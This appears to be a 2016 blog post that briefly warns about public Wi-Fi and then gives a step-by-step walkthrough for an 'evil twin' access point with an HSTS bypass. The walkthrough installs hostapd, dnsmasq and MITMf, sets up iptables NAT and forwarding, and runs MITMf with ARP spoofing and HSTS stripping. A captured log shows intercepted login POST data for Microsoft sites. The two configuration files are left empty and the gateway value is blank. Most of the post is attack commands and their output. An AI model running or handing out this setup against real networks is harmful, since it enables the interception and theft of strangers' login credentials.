Evil AP + HSTS Bypass

wifiConnecting to a Wi-Fi network can be risky because someone could be manipulating and intercepting your data as it travels through the network. Hackers often use the below approach (or something similar) to broadcast a fake access point with a name that lures you to connect (i.e. Starbucks Wi-Fi) with the offer of free Internet. Once you’ve connected, it’s significantly easier for an attacker to control the flow of the data across the network. While certain browsers are patching to prevent against attacks like this (Chrome is doing a good job), I was able to get a number of sites (facebook.com for example) to load on a fully patched IE 11 and also Safari as well. The best recommendations I can make to prevent falling victim to this type of attack is:

1. Don’t use public Wi-Fi. Use the hotspot on your phone instead.
2. If you must use public Wi-Fi, avoid logging to sites like Facebook or your corporate email
3. Keep your web browser patched
4. Always make sure you see “https” in the URL bar, a lock, or a green bar (or all of the above)

Evil AP + HSTS Bypass:

What you’ll need:
Kali Linux (my distro of choice for something like this)
External USB wifi adapter (assuming wlan0)

Download the required tools:
apt-get install dnsmasq <– DNS/DHCP
apt-get install hostapd <– Broadcasting Fake/Evil AP
apt-get install mitmf <– Man in the middle framework

Create a dnsmasq.conf file:
nano /etc/dnsmasq.conf

Create/modify hostapd.conf in /etc/hostapd to read:

Make sure you have a working internet on an interface (like eth0). This is required if your want your victim to get online after the MiTM attack.
ifconfig wlan0 up
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

hostapd /etc/hostapd/hostapd.conf
service dnsmasq start

mitmf -i wlan0 –arp –spoof –hsts –gateway=

The following was captured from IE 11 (notice the underlined plaintext username/password):

2016-02-11 23:43:52 [type:IE 11.0 os:Windows 8.1] Zapped a strict-trasport-security header
2016-02-11 23:43:56 POST Data (login.microsoftonline.com):
2016-02-11 23:43:56 [type:IE 10.0 os:Windows 8] Sending Request: portal.office.com


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s